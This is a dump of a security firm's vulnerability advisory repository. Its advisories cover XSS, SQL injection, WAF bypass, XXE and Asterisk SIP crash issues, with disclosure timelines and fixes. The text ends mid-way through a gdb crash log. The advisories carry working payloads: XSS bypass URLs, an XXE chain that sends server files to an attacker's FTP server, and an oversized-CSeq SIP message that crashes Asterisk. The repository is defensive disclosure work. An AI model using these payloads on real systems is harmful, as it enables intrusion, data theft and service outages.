├── .gitignore ├── ES2008-01-apple-mailapp-stores-smime-clear-text └── README ├── ES2009-01-openx-multiple-vulnerabilities └── README ├── ES2009-02-armorlogic-profense-multiple-vulnerabilities └── README ├── ES2010-01-applicure-dotDefender-stored-xss └── README ├── ES2013-01-juniper-junos-dom-xss └── README ├── ES2016-01-liferay-xxe └── README.md ├── ES2017-01-asterisk-pjsip-cseq-overflow └── README.md ├── ES2017-02-asterisk-pjsip-multi-part-crash └── README.md ├── ES2017-03-asterisk-chan-skinny-crash ├── README.md └── mem-graph.png ├── ES2017-04-asterisk-rtp-bleed └── README.md ├── ES2018-01-asterisk-pjsip-subscribe-stack-corruption └── README.md ├── ES2018-02-asterisk-pjsip-sdp-invalid-fmtp-segfault └── README.md ├── ES2018-03-asterisk-pjsip-sdp-invalid-media-format-description-segfault └── README.md ├── ES2018-04-asterisk-pjsip-tcp-segfault └── README.md ├── ES2018-05-kamailio-heap-overflow └── README.md ├── ES2020-01-kamailio-remove-hf ├── README.md └── repro │ ├── README.md │ ├── asterisk │ ├── Dockerfile │ ├── __buildsequence.sh │ ├── __download.sh │ ├── config │ │ ├── acl.conf │ │ ├── asterisk.conf │ │ ├── ccss.conf │ │ ├── cdr.conf │ │ ├── cdr_custom.conf │ │ ├── cel.conf │ │ ├── confbridge.conf │ │ ├── extensions.conf │ │ ├── features.conf │ │ ├── indications.conf │ │ ├── logger.conf │ │ ├── manager.conf │ │ ├── modules.conf │ │ ├── musiconhold.conf │ │ ├── pjproject.conf │ │ ├── pjsip.conf │ │ ├── pjsip_notify.conf │ │ ├── queues.conf │ │ └── rtp.conf │ └── run.sh │ ├── docker-compose.yml │ ├── find-bypass.py │ ├── inviterequest.tpl │ ├── kamailio │ ├── Dockerfile │ ├── __buildsequence.sh │ ├── __download.sh │ ├── config │ │ └── kamailio.cfg │ └── run.sh │ └── quickdemo.py ├── ES2020-02-asterisk-tcp-invite-crash ├── README.md └── main.go ├── ES2020-03-sngrep-malformed-media-type ├── README.md └── attack.py ├── ES2020-04-sngrep-malformed-connection-address ├── README.md └── attack.py ├── ES2021-01-coturn-access-control-bypass └── README.md ├── ES2021-02-voipmonitor-gui-xss ├── README.md └── screenshots │ ├── admin-created-via-xss.png │ ├── register-failed-alert.png │ └── register-failed-script-injection.png ├── ES2021-03-voipmonitor-livesniffer-buffer-overflow └── README.md ├── ES2021-04-voipmonitor-staticbuild-memory-corruption-protection └── README.md ├── ES2021-05-freeswitch-vulnerable-to-SIP-digest-leak └── README.md ├── ES2021-06-freeswitch-flood-dos ├── README.md └── memory-usage.png ├── ES2021-07-freeswitch-SIP-MESSAGE-without-auth └── README.md ├── ES2021-08-freeswitch-SIP-SUBSCRIBE-without-auth └── README.md ├── ES2021-09-freeswitch-srtp-dos └── README.md ├── ES2023-01-asterisk-dtls-hello-race ├── README.md └── resources │ ├── dos.mmd │ ├── dos.png │ ├── generate-diagrams.sh │ ├── valid.mmd │ └── valid.png ├── ES2023-02-freeswitch-dtls-hello-race ├── README.md └── resources │ ├── dos.mmd │ ├── dos.png │ ├── generate-diagrams.sh │ ├── valid.mmd │ └── valid.png ├── ES2023-03-rtpengine-dtls-hello-race ├── README.md └── resources │ ├── dos.mmd │ ├── dos.png │ ├── generate-diagrams.sh │ ├── valid.mmd │ └── valid.png └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/* -------------------------------------------------------------------------------- /ES2008-01-apple-mailapp-stores-smime-clear-text/README: -------------------------------------------------------------------------------- 1 | Apple's Mail.app stores your S/MIME encrypted emails in clear text 2 | 3 | Date published: 2008-10-03 4 | 5 | Affected version: 3.5 (929.4/929.2) 6 | Unaffected version: Unknown 7 | 8 | Summary: 9 | 10 | Apple Mail.app does not store S/MIME encrypted emails securely in the 11 | Drafts directory on server. 12 | 13 | Impact: 14 | 15 | The assumption that the server does not have access to the email 16 | content is violated. 17 | 18 | Description: 19 | 20 | Apple's Mail.app is the default email application that comes with Mac 21 | OS X machines. It supports S/MIME as standard for encryption and 22 | authentication of emails. However by default Mail.app also has an 23 | option called "Store draft messages on the server" when you are making 24 | use of an IMAP or Exchange server. 25 | 26 | The assumption when making use of S/MIME is that no one except you and 27 | the recipient of the email can view your encrypted email - end to end 28 | encryption. Emails are stored in encrypted form on the server and 29 | therefore should not be read by anyone having access to the email 30 | server, thus preventing Man in the Middle 31 | attacks. What the "Store draft messages on the server" option does is 32 | store a clear text version of the email, until the email is sent. 33 | 34 | The problem with this option is that it defies the assumption that the 35 | email is encrypted on the server. This can therefore lead to a false 36 | sense of security and information leakage, which is exactly what 37 | people making use of S/MIME want to prevent. 38 | 39 | 40 | Solution: 41 | 42 | Go to the Preferences and select the account from the accounts tab 43 | Select the "Mailbox behaviors" tab 44 | Uncheck the option "Store draft messages on the server" 45 | 46 | Finally, make use of a UPS or similar technology to prevent loosing 47 | your unsaved emails in case of a power interruption or failure. 48 | Mozilla's Thunderbird on Mac OS X is not vulnerable by encrypting the 49 | drafts before they are sent to server. This may also be a way to 50 | mitigate this issue without sacrificing usage of the "Drafts" folder. 51 | 52 | Timeline: 53 | 54 | Aug 14, 2008: Initial email to Apple's security contact 55 | product-security@apple.com 56 | Aug 15, 2008: Was assigned a follow-up id and the security team asked 57 | me for more information. 58 | Aug 17, 2008: Provided full information and explained that this 59 | security issue defies the assumption that with S/MIME email is stored 60 | securely on the server. 61 | Sep 11, 2008: Sent a follow-up email to the Apple security team 62 | without any response 63 | Sep 16, 2008: Another attempt to contact the Apple security team. 64 | Sep 19, 2008: Received a response from Apple letting me know that: "A 65 | complete solution for the issue may involve significant architectural 66 | changes, so at this time it's difficult to estimate the timeframe or 67 | release vehicle for a fix." 68 | 69 | DISCLAIMER 70 | 71 | The information in this advisory is provided by EnableSecurity as a 72 | courtesy and without any representations or warranties. Recipients 73 | are advised to conduct their own investigation and due diligence 74 | before relying on its contents. -------------------------------------------------------------------------------- /ES2009-01-openx-multiple-vulnerabilities/README: -------------------------------------------------------------------------------- 1 | 2 | __________________________________________________________________ 3 | 4 | OpenX multiple vulnerabilities 5 | __________________________________________________________________ 6 | 7 | 8 | An advisory by EnableSecurity in collaboration with Acunetix. 9 | 10 | Advisory URL: 11 | http://resources.enablesecurity.com/advisories/openx-2.6.4-multiple.txt 12 | 13 | Version: OpenX 2.6.4 and older versions 14 | 15 | Description: 16 | 17 | OpenX is an online advertising web application written in PHP that supports popular sites such as TechCrunch, SUN Microsystems and Metacafe. 18 | 19 | From their website (openx.org): 20 | "OpenX is a free, open source ad server that manages the selling and delivery of your online advertising inventory. You can get OpenX as a hosted service or as downloaded software." 21 | 22 | Credits: 23 | 24 | These vulnerabilities were discovered during testing of AcuSensor Technology feature in Acunetix WVS. 25 | We worked with the OpenX security team to have these security flaws reported and fixed. 26 | We would like to publicly thank the OpenX team for their prompt response! 27 | 28 | __________________________________________________________________ 29 | 30 | Technical details: 31 | 32 | The following vulnerabilities were identified: 33 | 34 | Major issues: 35 | - SQL injection 36 | - Cross Site Scripting 37 | 38 | Other issues: 39 | - Arbitrary File Deletion 40 | - CRLF injection 41 | 42 | 43 | 44 | ----------- Major issues ----------- 45 | 46 | ::::: SQL vulnerabilities ::::: 47 | 48 | [[ Trigger: /adview.php ]] 49 | 50 | Description: 51 | The cookie "OAID" is not filtered when adview.php is accessed and used directly to construct the SQL INSERT statement. 52 | 53 | [[ Trigger: /www/delivery/tjs.php ]] 54 | 55 | Description: 56 | 1. The cookie "OAID" is not filtered when adview.php is accessed and used directly to construct the SQL INSERT statement. 57 | 2. The "referer" parameter in the GET request is also used in the SQL statement and is another vector. 58 | 59 | 60 | 61 | ::::: XSS Vulnerabilities ::::: 62 | 63 | [[ Trigger: /www/admin/sso-accounts.php ]] 64 | 65 | Description: 66 | The "email" parameter in the POST data is simply printed out in the html page, allowing injection of HTML i.e. XSS attacks. 67 | 68 | ----------- Possible issues ----------- 69 | 70 | 71 | ::::: Arbitary file deletion ::::: 72 | 73 | [[ Trigger: /www/delivery/tjs.php ]] 74 | 75 | Reason: 76 | May not be easily exploitable but it does allow directories to be traversed when deleting cache files. 77 | 78 | Exploitation: 79 | It does not seem to be exploitable on Linux, but might be exploitable on Windows. On Linux the following path would not open: /etc/../asdf/../passwd because "asdf" does not exist. However the following works on Windows: C:\asdf\..\boot.ini, even if "asdf" does not exist. 80 | 81 | 82 | ::::: CRLF Injection ::::: 83 | 84 | Reason: 85 | It seems that the current version of PHP does not allow headers with multiple lines, i.e ones that contain the carraige and return line feed characters. Therefore OpenX does not appear to be exploitable. However, the code does allow CRLF injection and this may be exposed in some other way *(eg. old versions of PHP ?). 86 | 87 | [[ Trigger: /adframe.php ]] 88 | 89 | [[ Trigger: /adjs.php ]] 90 | 91 | [[ Trigger: /www/delivery/tjs.php ]] 92 | 93 | 94 | __________________________________________________________________ 95 | 96 | Demonstration: 97 | http://www.youtube.com/watch?v=kiNeiMS2Iu0 98 | 99 | Exploit code: 100 | Available to organizations by contacting info@enablesecurity.com 101 | 102 | Timeline: 103 | 104 | Feb 03, 2009: An email was sent to the security team at OpenX and PGP keys exchanged 105 | Feb 03, 2009: Sent report to OpenX team with full details 106 | Feb 04, 2009: A patch was provided to us and we verified that the patch fixes the reported issues 107 | Apr 01, 2009: Co-ordinated information release 108 | 109 | Solution: 110 | 111 | Upgrade to the latest version of OpenX: 112 | http://www.openx.org/ad-server/download 113 | 114 | __________________________________________________________________ 115 | 116 | About EnableSecurity: 117 | 118 | EnableSecurity is dedicated to providing high quality Information Security Consultancy, Research and Development. EnableSecurity develops security tools such as VOIPPACK (for Immunity CANVAS) and SIPVicious. EnableSecurity is focused on analysis of security challenges and providing solutions to such threats. EnableSecurity works on developing custom targeted security solutions, as well as working with existing off the shelf security tools to provide the best results for their customers. More info at enablesecurity.com 119 | 120 | About Acunetix: 121 | Acunetix Web Vulnerability Scanner is a tool designed to discover security holes in web applications that attackers could abuse to gain access to a business' systems and data. With Acunetix WVS websites can be regularly checked for vulnerabilities such as SQL injection and Cross Site Scripting. The scanner ships with many innovative features such as: AcuSensor Technology, automatic JavaScript analyzer, Visual macro recorders and extensive reporting facilities, which include various compliance reports. 122 | 123 | Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. -------------------------------------------------------------------------------- /ES2009-02-armorlogic-profense-multiple-vulnerabilities/README: -------------------------------------------------------------------------------- 1 | ____________________________________________________________________________ 2 | 3 | Armorlogic Profense Web Application Firewall 2.4 multiple vulnerabilities. 4 | 5 | ____________________________________________________________________________ 6 | 7 | An advisory by EnableSecurity. 8 | Trustwave published a joint advisory named TWSL2009-001 9 | 10 | ID: ES-20090500 11 | 12 | Advisory URL: 13 | http://resources.enablesecurity.com/advisories/ES-20090500-profense.txt 14 | 15 | Affected Versions: versions prior to 2.4.4 and 2.2.22 16 | 17 | Fixed versions: 2.4.4, 2.2.22 and later 18 | 19 | Description: 20 | 21 | Armorlogic Profense is a Web Application Firewall and load balancing solution. 22 | 23 | From their website (armorlogic.com): 24 | "Protecting and securing websites and web applications can be a complicated business. Profense web application firewall simplifies protection with an affordable and easy to use, feature rich, solution that gives you full PCI DSS 1.1 and 1.2 section 6.6 compliance." 25 | 26 | Credits: 27 | 28 | These vulnerabilities were discovered during WAF testing by Sandro Gauci of EnableSecurity and Wendel Guglielmetti Henrique of Trustwave's SpiderLabs. 29 | We worked with the Armorlogic security team to have these security flaws reported and fixed. 30 | We would like to publicly thank the Armorlogic team for their prompt response! 31 | 32 | __________________________________________________________________ 33 | 34 | Technical details: 35 | 36 | The following vulnerabilities were identified: 37 | 38 | Major issues: 39 | - Whitelist / positive model bypass 40 | - Blacklist / negative model bypass 41 | 42 | Other issues: 43 | - static root password exposes administrative interface 44 | 45 | 46 | ----------- Major issues ----------- 47 | 48 | ::::: Whitelist / positive model bypass ::::: 49 | 50 | CVE: CVE-2009-1594 51 | 52 | Description: 53 | Profense Web Application Firewall configured in positive model can be evaded. 54 | 55 | Technical details: 56 | Profense Web Application Firewall configured to make use of the strong positive model (white-list approach) can be evaded to launch various attacks including XSS (Cross-Site Scripting), SQL Injection, remote command execution, and others. 57 | 58 | The vulnerability can be reproduced by making use of a URL-encoded new line character. The pattern matching in multi line mode matches any non-hostile line and marks the whole request as legitimate, thus allowing the request. This results in a bypass in the positive model. An example is showed below: 59 | 60 | http://testcases/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass 61 | 62 | 63 | 64 | ::::: Blacklist / negative model bypass ::::: 65 | 66 | CVE: CVE-2009-1593 67 | 68 | Description: Profense Web Application Firewall with default configuration in negative model can be evaded to inject XSS. 69 | 70 | Technical Description: 71 | 72 | Versions 2.4 and 2.2 of Profense Web Application Firewall with the default configuration in negative model (blacklist approach) can be evaded to inject XSS (Cross-Site Scripting). The problem is due to the built-in core rules that can be abused using the flexibility provided by HTML and JavaScript. 73 | 74 | The vulnerability can be reproduced by injecting a common XSS attack in a vulnerable application protected by Profense Web Application Firewall. Inserting extra characters in the JavaScript close tag will bypass the XSS protection mechanisms. An example is shown below: 75 | 76 | http://testcases/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E 77 | 78 | 79 | ::::: Static root password exposes administrative interface ::::: 80 | 81 | Description: Profense Web Application Firewall with default configuration has a default password hash. 82 | 83 | Technical Description: 84 | 85 | Versions 2.4 and 2.2 of Profense Web Application Firewall with the default configuration the root password hash is the same default in all available products. The SSH server is enabled by default on the administrative interface and accepts root authentication using user and password credential. The hashing algorithm used is OpenBSD's blowfish password hash which is known to be strong. However the existence of a static password means that if this password is leaked in some way or another, then the attacker potentially has access to all exposed administrative interfaces. 86 | 87 | 88 | __________________________________________________________________ 89 | 90 | Exploit code: 91 | Available to organizations by contacting info@enablesecurity.com 92 | 93 | Timeline: 94 | 95 | Oct 10, 2008: Initial contact. 96 | Oct 10, 2008: Confirmation of the vulnerabilities. 97 | Oct 11, 2008: Discussion of possible fixes. 98 | Oct 13, 2008: Fix from Armorlogic complete. 99 | Oct 14, 2008: Fix issued to customers. 100 | May 13, 2009: Advisory public release. 101 | 102 | Solution: 103 | 104 | Upgrade to the latest version of Profense: 105 | http://www.armorlogic.com/ 106 | 107 | 108 | 109 | __________________________________________________________________ 110 | 111 | About EnableSecurity: 112 | 113 | EnableSecurity is dedicated to providing high quality Information Security Consultancy, Research and Development. EnableSecurity develops security tools such as VOIPPACK (for Immunity CANVAS) and SIPVicious. EnableSecurity is focused on analysis of security challenges and providing solutions to such threats. EnableSecurity works on developing custom targeted security solutions, as well as working with existing off the shelf security tools to provide the best results for their customers. More info at enablesecurity.com 114 | 115 | 116 | Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. -------------------------------------------------------------------------------- /ES2010-01-applicure-dotDefender-stored-xss/README: -------------------------------------------------------------------------------- 1 | ____________________________________________________________________________ 2 | 3 | Applicure dotDefender 4.0 administrative interface cross site scripting 4 | 5 | ____________________________________________________________________________ 6 | 7 | An advisory by EnableSecurity. 8 | 9 | ID: ES-20100601 10 | 11 | Advisory URL: 12 | http://resources.enablesecurity.com/advisories/ES-20100601-dotdefender4.txt 13 | 14 | Affected Versions: version 4.0 15 | 16 | Fixed versions: 4.01-3 (and later) 17 | 18 | Description: 19 | 20 | Applicure dotDefender is a Web Application Firewall that can be installed on 21 | Windows and Linux servers. 22 | 23 | From their website (applicure.com): 24 | "dotDefender is the market-leading software Web Application Firewall (WAF). 25 | dotDefender boasts enterprise-class security, advanced integration capabilities, 26 | easy maintenance and low total cost of ownership (TCO). dotDefender is the 27 | perfect choice for protecting your website and web applications today. " 28 | 29 | Credits: 30 | 31 | These vulnerabilities were discovered during WAF testing by Sandro Gauci of 32 | EnableSecurity. We contacted AppliCure on May 17, 2010 about this vulnerability. 33 | They were already working on a fix. 34 | 35 | ____________________________________________________________________________ 36 | 37 | Technical details: 38 | 39 | The log viewer facility in dotDefender does not properly htmlencode user 40 | supplied input. This leads to a cross site scripting vulnerability when the log 41 | viewer displays HTTP headers. 42 | 43 | ____________________________________________________________________________ 44 | 45 | Demo: 46 | 47 | One may use curl and insert headers containing html tags using the --header 48 | switch. 49 | Example: 50 | 51 | curl "http://website.org/c?a=: aa" 53 | 54 | When the administrator views the log viewer page, his/her web browser will 55 | execute the attacker's javascript. 56 | 57 | The following demo shows how an attacker can switch off dotDefender in order to 58 | bypass any "protection" offered by the WAF: 59 | 60 | http://vimeo.com/12132622 61 | 62 | Timeline: 63 | 64 | May 17, 2010: Initial contact 65 | Jun 01, 2010: Release of this advisory 66 | 67 | Solution: 68 | 69 | Upgrade to the latest version of dotDefender: 70 | http://www.applicure.com/ 71 | 72 | ____________________________________________________________________________ 73 | 74 | Contact: "Sandro Gauci" 75 | 76 | About EnableSecurity: 77 | 78 | EnableSecurity is dedicated to providing high quality Information Security 79 | Consultancy, Research and Development. EnableSecurity develops security tools 80 | such as VOIPPACK (for Immunity CANVAS) and SIPVicious. EnableSecurity is 81 | focused on analysis of security challenges and providing solutions to such 82 | threats. EnableSecurity works on developing custom targeted security solutions, 83 | as well as working with existing off the shelf security tools to provide the 84 | best results for their customers. More info at enablesecurity.com 85 | 86 | Disclaimer: The information in the advisory is believed to be accurate at the 87 | time of publishing based on currently available information. Use of the 88 | information constitutes acceptance for use in an AS IS condition. There are no 89 | warranties with regard to this information. Neither the author nor the publisher 90 | accepts any liability for any direct, indirect, or consequential loss or damage 91 | arising from use of, or reliance on, this information. -------------------------------------------------------------------------------- /ES2013-01-juniper-junos-dom-xss/README: -------------------------------------------------------------------------------- 1 | 2 | __________________________________________________________________ 3 | 4 | Client-side cross site scripting in Juniper VPN SSL solution 5 | __________________________________________________________________ 6 | 7 | 8 | Advisory URL: 9 | 10 | 11 | Vendor advisory: 12 | 13 | 14 | Vulnerable product that was tested: 15 | Model: MAG-2600 16 | Version: 7.2R3 (build 21397) 17 | 18 | CVE: CVE-2013-5649 19 | 20 | Description: 21 | 22 | The Juniper VPN SSL system was found to be vulnerable to a client-side cross 23 | site scripting vulnerability. 24 | 25 | # Impact 26 | 27 | Exploitation of this vulnerability may allow hijack of VPN SSL sessions. This 28 | usually involves a social engineering attack in order to convince a logged in 29 | victim to click on an attacker-supplied URL. Therefore such an attack would 30 | typically be the result of a targeted attack rather than an opportunistic one. 31 | 32 | Credits: 33 | Sandro Gauci 34 | 35 | 36 | Timeline: 37 | 38 | Nov 26, 2012: Vulnerability discovered 39 | Dec 19, 2012: Vulnerability report sent to vendor 40 | Sep 12, 2013: Vendor fix released 41 | 42 | __________________________________________________________________ 43 | 44 | 45 | 46 | # How to reproduce the issue 47 | 48 | The vulnerable HTML was: 49 | 50 | 51 | 52 | 53 | Secure Access Service End User Guide 65 | 66 | Since file is being written and rendered to the HTML without any validation or 67 | filtering, the web browser executes any URL that specified as file after the ? 68 | in the URL. Therefore a URL such as the following would execute the JavaScript 69 | function alert(123) as a demonstration: 70 | 71 | 72 | 73 | A more realistic example of exploitation would include leakage of the session 74 | cookie (through access to document.cookie within JavaScript) or execution of 75 | actions on behalf of the victim's logged in web browser. 76 | 77 | About EnableSecurity: 78 | 79 | Established in 2008 and now based in London, Enable Security is focused on 80 | providing quality and value to its customers by thinking like an attacker 81 | while giving elegant and practical security solutions. Enable Security was 82 | founded by Sandro Gauci who has over 13 years experience in the security 83 | industry and has contributed to the community through security tools, research 84 | papers and advisories. He is published at elite conferences such as Hack in 85 | the Box, ShakaCon and POC as well as communications industry conferences such 86 | as AstriCon and Realtime communications. 87 | 88 | EnableSecurity routinely provides its penetration testing and security 89 | research services to clientele across various industries including software, 90 | gaming, gambling, credit-card processors and communications organisations and 91 | can be contacted at info@enablesecurity.com. 92 | -------------------------------------------------------------------------------- /ES2016-01-liferay-xxe/README.md: -------------------------------------------------------------------------------- 1 | # XML External Entity XXE vulnerability in OpenID component of Liferay 2 | 3 | - Author: Sandro Gauci 4 | - Vulnerable version: Liferay 6.2.3 CE GA4 and earlier 5 | - Liferay reference: LPS-58014 6 | - Advisory URL: 7 | - Timeline: 8 | - Report date: March 16 2015 9 | - Liferay patch: August 26 2015 10 | - Liferay advisory: January 18 2016 11 | - Enable Security advisory: June 1 2016 12 | 13 | ## Description 14 | 15 | Liferay supports OpenID login which was found to make use of a version 16 | of `openid4java` that is vulnerable to XML External Entity (XXE) 17 | attacks. 18 | 19 | ## Impact 20 | 21 | Abuse of the XXE vulnerability can (at least) lead to local file 22 | disclosure, server-side request forgery (SSRF) and denial of service. 23 | This vulnerability was abused to read local files on the web server 24 | that the web application had access to. 25 | 26 | ## How to reproduce the issue 27 | 28 | This issue was previously discovered to affect [one of Google's web 29 | server](https://code.google.com/p/chromium/issues/detail?id=240139) 30 | which was using the same OpenID library. 31 | 32 | To abuse this vulnerability, an attacker needs to: 33 | 34 | 1. Force Liferay to make use of OpenID for authentication 35 | 2. Provide an attacker-controlled URL (web location) as the OpenID URL. This URL should contain malicious XML (see below) 36 | 3. Upon reading the XML, the OpenID library will attempt to load the external entity on the attacker's web server 37 | 4. This external entity instructs the library to read a file from local disk and make use of it's contents to load another file from an attacker controlled (custom) FTP server 38 | 39 | Thus the contents of the file to be read are sent to the custom FTP 40 | server. During exploitation, we had to make use of a fake FTP server 41 | (from ) to receive the 42 | information. However, it might be possible to use HTTP and other 43 | protocols too depending on the version of Java used and other 44 | variables. 45 | 46 | For step 1, the attacker needs to locate the authentication form in 47 | Liferay and then click on the OpenID link. The attacker then specifies as an OpenID URL. This website would contain the following: 48 | 49 | ```html 50 | 52 | ``` 53 | 54 | As the OpenID library reads that, it loads `yadis.xml` which would contain the 55 | following: 56 | 57 | ```xml 58 | 59 | 61 | %asd; 62 | %rrr; 63 | ]> 64 | 65 | ``` 66 | 67 | This loads `xxe.xml` which in turn would contain the following: 68 | 69 | 70 | "> 71 | %c; 72 | 73 | Once the XML interpreter parses these contents, it connects to the FTP 74 | site, sending the contents of the root directory on the server as can 75 | be seen in the following log: 76 | 77 | > sudo ruby xxe-ftp-server.rb 78 | FTP. New client connected 79 | < USER anonymous 80 | < PASS Java1.6.0_21@ 81 | > 230 more data please! 82 | < TYPE I 83 | > 230 more data please! 84 | < EPSV ALL 85 | > 230 more data please! 86 | < EPSV 87 | > 230 more data please! 88 | < EPRT |1|172.x.x.x|39051| 89 | > 230 more data please! 90 | < bin 91 | > 230 more data please! 92 | < boot 93 | > 230 more data please! 94 | < dev 95 | > 230 more data please! 96 | < etc 97 | > 230 more data please! 98 | < home 99 | > 230 more data please! 100 | ... etc 101 | 102 | Directories and also local files could be read using this method. 103 | 104 | Note that sometimes the OpenID login method is hidden but the functionality is not disabled from within Liferay itself. In such cases, it is possible to force Liferay to make use of OpenID anyway by setting the `_58_struts_action` parameter from `/login/login` to `/login/open_id`. 105 | 106 | ## Solutions and recommendations 107 | 108 | Upgrading to the latest version of Liferay should address this 109 | security vulnerability. The patch was published at the following location: 110 | 111 | Additionally, to address this issue it is recommended to disable 112 | OpenID support. 113 | 114 | ## Further reading 115 | 116 | - 117 | - 118 | 119 | ## About Enable Security 120 | 121 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 122 | 123 | ## Disclaimer 124 | 125 | The information in the advisory is believed to be accurate at the 126 | time of publishing based on currently available information. Use of the 127 | information constitutes acceptance for use in an AS IS condition. There are no 128 | warranties with regard to this information. Neither the author nor the publisher 129 | accepts any liability for any direct, indirect, or consequential loss or damage 130 | arising from use of, or reliance on, this information. 131 | -------------------------------------------------------------------------------- /ES2017-01-asterisk-pjsip-cseq-overflow/README.md: -------------------------------------------------------------------------------- 1 | # Heap overflow in CSEQ header parsing affects Asterisk chan_pjsip and PJSIP 2 | 3 | - Authors: 4 | - Alfred Farrugia 5 | - Sandro Gauci 6 | - Vulnerable version: Asterisk 14.4.0 running `chan_pjsip`, PJSIP 2.6 7 | - References: AST-2017-002, CVE-2017-9372 8 | - Enable Security Advisory: 9 | - Vendor Advisory: 10 | - Timeline: 11 | - Report date: 2017-04-12 12 | - Digium confirmed issue: 2017-04-12 13 | - Digium patch and advisory: 2017-05-19 14 | - PJSIP added patch by Digium: 2017-05-21 15 | - Enable Security advisory: 2017-05-23 16 | 17 | ## Description 18 | 19 | A specially crafted SIP message with a long CSEQ value will cause a heap overflow in PJSIP. 20 | 21 | ## Impact 22 | 23 | Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. This vulnerability is likely to be abused for remote code execution and may affect other code that makes use of PJSIP. 24 | 25 | ## How to reproduce the issue 26 | 27 | We made use of the following SIP message which was sent to Asterisk over UDP to reproduce the issue: 28 | 29 | OPTIONS sip:localhost:5060 SIP/2.0 30 | From: 31 | To: 32 | Call-ID: aa@0000000000 33 | CSeq: 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 34 | Via: SIP/2.0/UDP 195.37.78.177:5060 35 | Contact: 36 | Content-Length: 0 37 | 38 | 39 | . 40 | 41 | The following is a log from running Asterisk in gdb: 42 | 43 | gdb --args asterisk -c 44 | 45 | .... 46 | 47 | Asterisk Ready. 48 | [New Thread 0x7fffc87a7700 (LWP 412)] 49 | *CLI> [Thread 0x7ffff4bfe700 (LWP 379) exited] 50 | [Thread 0x7ffff4cf6700 (LWP 375) exited] 51 | [Thread 0x7ffff4dee700 (LWP 373) exited] 52 | 53 | *CLI> [Thread 0x7ffff4e6a700 (LWP 372) exited] 54 | [Thread 0x7ffff4f62700 (LWP 370) exited] 55 | 56 | Program received signal SIGSEGV, Segmentation fault. 57 | [Switching to Thread 0x7fffd6403700 (LWP 394)] 58 | malloc_consolidate (av=av@entry=0x7fffe8000020) at malloc.c:4151 59 | 4151 malloc.c: No such file or directory. 60 | (gdb) bt 61 | #0 malloc_consolidate (av=av@entry=0x7fffe8000020) at malloc.c:4151 62 | #1 0x00007ffff5499ce8 in _int_malloc (av=0x7fffe8000020, bytes=4096) at malloc.c:3423 63 | #2 0x00007ffff549c6c0 in __GI___libc_malloc (bytes=4096) at malloc.c:2891 64 | 